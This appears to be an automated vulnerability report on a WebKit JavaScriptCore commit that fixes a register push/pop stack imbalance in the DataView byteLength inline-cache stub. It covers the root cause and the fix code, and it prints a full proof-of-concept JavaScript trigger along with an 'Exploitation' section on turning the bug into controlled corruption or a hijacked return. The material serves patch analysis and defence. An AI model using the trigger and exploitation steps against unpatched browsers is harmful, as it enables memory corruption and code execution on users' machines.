← WebKit Silent-Fix Report — 2026-W22

34669c802f  [JSC] Move DataView null vector check in IC outside of register save/restore

severity high class OOB confidence 0.70 JSC InlineCacheCompiler exploitable-grade
Shu-yu Guo Fri May 29 05:57:04 2026 -0700 full: 34669c802f5846a6c5e887eac932c18e9e8a156b bug report ↗ view on GitHub ↗
Primitive: IC stub stack desync via DataView byteLength on resizable/transferred buffer
Triage note: Fixes a stack imbalance in the DataView byteLength IC stub (test transfers a resizable ArrayBuffer), a JIT memory-safety hazard.
Contents

The bug at a glance

In the DataView byteLength getter inline cache stub, a null-vector out-of-bounds check emitted before preserveReusedRegistersByPushing jumped to a failure label positioned before restoreReusedRegistersByPopping, so on that path the pushed registers were never popped — a misbalanced stack in JIT-generated code. Stack desynchronization in an IC stub corrupts the native stack/register state and is a classic path to controlled memory corruption and control-flow hijack; the test reaches it by transferring a resizable ArrayBuffer so the DataView’s vector becomes null. High is appropriate for a JIT stack-imbalance memory-safety bug.

The IC emitted the null-vector check (failAndIgnore) before the register push, but on failure it linked into the shared failure path that runs after the pop, so when the null-vector branch was taken the earlier preserveReusedRegistersByPushing was never balanced by restoreReusedRegistersByPopping — the stack pointer was left offset by the pushed registers.

Root cause

InlineCacheCompiler::emitIntrinsicGetter generates the stub for intrinsic getters such as DataView.prototype.byteLength. For resizable/growable-shared typed arrays and DataViews, the stub must handle the case where the backing vector is null (buffer detached/transferred/out-of-bounds). The code path allocates scratch registers and, to do so, calls allocator.preserveReusedRegistersByPushing(jit, ...) which pushes any clobbered callee-visible registers onto the stack, returning a PreservedState. At the end it calls allocator.restoreReusedRegistersByPopping(jit, preservedState) before succeed(), and on the failure path it also pops before jumping to m_failAndIgnore.

The bug: a null-vector guard (the failAndIgnore jump) was produced before the preserveReusedRegistersByPushing call — logically correct, since the null check can be done before allocating scratch. But this early failAndIgnore jump was being appended to the same failure list that is linked after the pop. So when the null-vector branch was taken, execution transferred to the shared failure landing pad that had already assumed the registers were popped — except on this path they had never been pushed-then-popped symmetrically. More precisely: the check executes before the push, but jumps to a point that is reached only after (and structured as if) the pop already happened, so the pushed state from preserveReusedRegistersByPushing (for the normal in-bounds flow) and the failure landing were mismatched — a push without a matching pop on the taken path, leaving the stack pointer misaligned by the size of the preserved registers. Executing with a corrupted SP leads to reads/writes at wrong stack slots, clobbered return addresses, and ultimately memory corruption / crash — exploitable as a JIT stack-pivot-like primitive.

The fix separates the two failure origins. The pre-push null-vector guard is routed straight to the real failure exit: m_failAndIgnore.append(failAndIgnore); immediately (this path never pushed, so it must not run the pop). A new local CCallHelpers::JumpList postPushFailAndIgnore; collects failures that occur after the push — specifically the DataView out-of-bounds branch from jit.loadDataViewByteLength(...) (postPushFailAndIgnore.append(outOfBounds);). Then the tail logic pops and links only the post-push failures: if (allocator.didReuseRegisters() && !postPushFailAndIgnore.empty()) { postPushFailAndIgnore.link(&jit); allocator.restoreReusedRegistersByPopping(jit, preservedState); m_failAndIgnore.append(jit.jump()); } else m_failAndIgnore.append(postPushFailAndIgnore);. Now the pre-push failure bypasses the pop entirely and the post-push failure is balanced by exactly one pop — restoring push/pop symmetry on every path.

Key code

InlineCacheCompiler.cpp: route pre-push null-vector failure past the pop

        if (isResizableOrGrowableSharedTypedArrayIncludingDataView(accessCase.structure()->classInfoForCells())) {
            // The null-vector guard above was emitted before the push, so route it
            // directly to m_failAndIgnore to avoid the post-push restore path.
            m_failAndIgnore.append(failAndIgnore);

            auto allocator = makeDefaultScratchAllocator(m_scratchGPR);
            GPRReg scratch2GPR = allocator.allocateScratchGPR();

            ScratchRegisterAllocator::PreservedState preservedState = allocator.preserveReusedRegistersByPushing(jit, ScratchRegisterAllocator::ExtraStackSpace::NoExtraSpace);

            CCallHelpers::JumpList postPushFailAndIgnore;
            if (isDataView) {
                auto [outOfBounds, doneCases] = jit.loadDataViewByteLength(baseGPR, valueGPR, m_scratchGPR, scratch2GPR, type);
                postPushFailAndIgnore.append(outOfBounds);
                doneCases.link(&jit);
            } else
                jit.loadTypedArrayByteLength(baseGPR, valueGPR, m_scratchGPR, scratch2GPR, typedArrayType(accessCase.structure()->typeInfo().type()));

Patch walkthrough

  • Source/JavaScriptCore/bytecode/InlineCacheCompiler.cpp — In emitIntrinsicGetter’s resizable/growable-shared branch, the pre-push null-vector guard is appended directly to m_failAndIgnore (it never pushed registers, so it must skip the pop). A new postPushFailAndIgnore JumpList captures failures that arise after preserveReusedRegistersByPushing — the DataView loadDataViewByteLength outOfBounds case. The tail then links/pops only postPushFailAndIgnore (restoreReusedRegistersByPopping) before jumping to m_failAndIgnore, or appends it directly when no registers were reused. This makes every failure path balance the register push with exactly the right number of pops.
  • JSTests/stress/dataview-bytelength-ic-stub-stack-desync.js — Regression test. It builds a resizable ArrayBuffer-backed DataView and polymorphic decoy objects with a byteLength property, plus 32 spill objects (p0..p31) so the IC is forced to reuse/preserve registers. It runs hot(dv,…) 200000 times to compile the byteLength IC stub, then transfer()s the ArrayBuffer so the DataView vector becomes null, and calls hot(dv,…) once more — taking the null-vector path that, pre-fix, left the stack misbalanced. The heavy live-value set (p0..p31 markers) makes stack corruption observable.

Background

InlineCacheCompiler::emitIntrinsicGetter — Generates machine-code IC stubs for intrinsic getters (byteLength, length, etc.). Correct stubs must keep the native stack balanced across every success and failure exit.

preserveReusedRegistersByPushing / restoreReusedRegistersByPopping — ScratchRegisterAllocator helpers that push clobbered registers to the stack and later pop them. Each push must be matched by exactly one pop on every code path or the stack pointer desyncs.

failAndIgnore vs m_failAndIgnore — failAndIgnore is a local jump list for this stub’s guards; m_failAndIgnore is the compiler-wide failure landing. The bug came from feeding a pre-push local failure into a list linked after the pop.

loadDataViewByteLength — Emits code computing a DataView’s byteLength and an outOfBounds branch for detached/transferred/OOB buffers; that branch is the legitimate post-push failure.

Resizable/transferred ArrayBuffer — ArrayBuffer.prototype.transfer() detaches the buffer, nulling the DataView’s vector; the test uses this to force the pre-push null-vector path at runtime.

Vulnerability window

  1. Warm-up — hot() runs 200000 times over decoys and dv so the DataView byteLength IC stub is compiled with register reuse/preservation active.
  2. Transfer — ab.transfer() detaches the buffer, so the DataView’s backing vector becomes null.
  3. Null path — A final hot(dv,…) takes the pre-push null-vector guard, jumping to the failure landing.
  4. Stack desync (pre-fix) — Because that landing sits after the pop while this path never balanced the earlier push, SP is left offset by the preserved-register size.
  5. Corruption — Continued execution with a misaligned stack corrupts live values / return address (the p0..p31 markers expose it).
  6. Fixed — Pre-push failure now bypasses the pop and post-push failure pops exactly once, keeping the stack balanced.

Proof of concept

The polymorphic decoys plus 32 live spill values (p0..p31) force the byteLength IC stub to preserve/reuse registers. After the stub is compiled, ab.transfer() nulls the DataView’s vector, and the final hot(dv,…) takes the pre-push null-vector failure path. On a vulnerable build that path skips the register pop, leaving the stack misbalanced and corrupting the live markers / return state; the fix keeps push/pop balanced.

let ab = new ArrayBuffer(64, { maxByteLength: 1024 });
let dv = new DataView(ab);
let decoy = { byteLength: 7 };
let decoy2 = { byteLength: 7, x: 1 };
let decoy3 = { byteLength: 7, y: 1 };

let objs = [];
for (let i = 0; i < 64; i++) objs.push({marker: 0x1337 + i});

function hot(o, a, b) {
    let p0=b[0], p1=b[1], p2=b[2], p3=b[3], p4=b[4], p5=b[5], p6=b[6], p7=b[7],
        p8=b[8], p9=b[9], p10=b[10], p11=b[11], p12=b[12], p13=b[13], p14=b[14], p15=b[15],
        p16=b[16], p17=b[17], p18=b[18], p19=b[19], p20=b[20], p21=b[21], p22=b[22], p23=b[23],
        p24=b[24], p25=b[25], p26=b[26], p27=b[27], p28=b[28], p29=b[29], p30=b[30], p31=b[31];
    let len;
    try {
        len = o.byteLength;
    } catch (e) {
        len = -1;
    }
    return [len, p0.marker, p1.marker, p2.marker, p3.marker, p4.marker, p5.marker, p6.marker, p7.marker,
            p8.marker, p9.marker, p10.marker, p11.marker, p12.marker, p13.marker, p14.marker, p15.marker,
            p16.marker, p17.marker, p18.marker, p19.marker, p20.marker, p21.marker, p22.marker, p23.marker,
            p24.marker, p25.marker, p26.marker, p27.marker, p28.marker, p29.marker, p30.marker, p31.marker];
}
noInline(hot);

let A = new Int32Array(64);
for (let i = 0; i < 64; i++) A[i] = i + 1;

for (let i = 0; i < 200000; i++) {
    hot(decoy, A, objs);
    hot(decoy2, A, objs);
    hot(decoy3, A, objs);
    hot(dv, A, objs);
}

for (let i = 0; i < 100; i++) {
    hot(dv, A, objs);
}

ab.transfer();

let r = hot(dv, A, objs);

Exploitation

  1. Compile stub — Drive a DataView byteLength IC to compile with register preservation by keeping many live values around the getter access.
  2. Null the vector — Transfer/detach the resizable ArrayBuffer so the next access takes the pre-push null-vector failure path.
  3. Desync stack — On the vulnerable path the missing pop leaves SP offset by the preserved-register size, so subsequent frame accesses hit wrong slots.
  4. Corrupt control — Shape spilled values / return address at the misaligned slots to convert the stack imbalance into controlled corruption or a hijacked return.

Detection & hunting

For defenders and SOC / detection engineers:

  • Crashes after ArrayBuffer.transfer
  • Stack-pointer imbalance
  • Wrong live values

Audit directions

  • Push/pop symmetry
  • Pre-allocation guards
  • loadDataViewByteLength callers
  • Resizable/growable IC coverage

Before / after

Loading diff…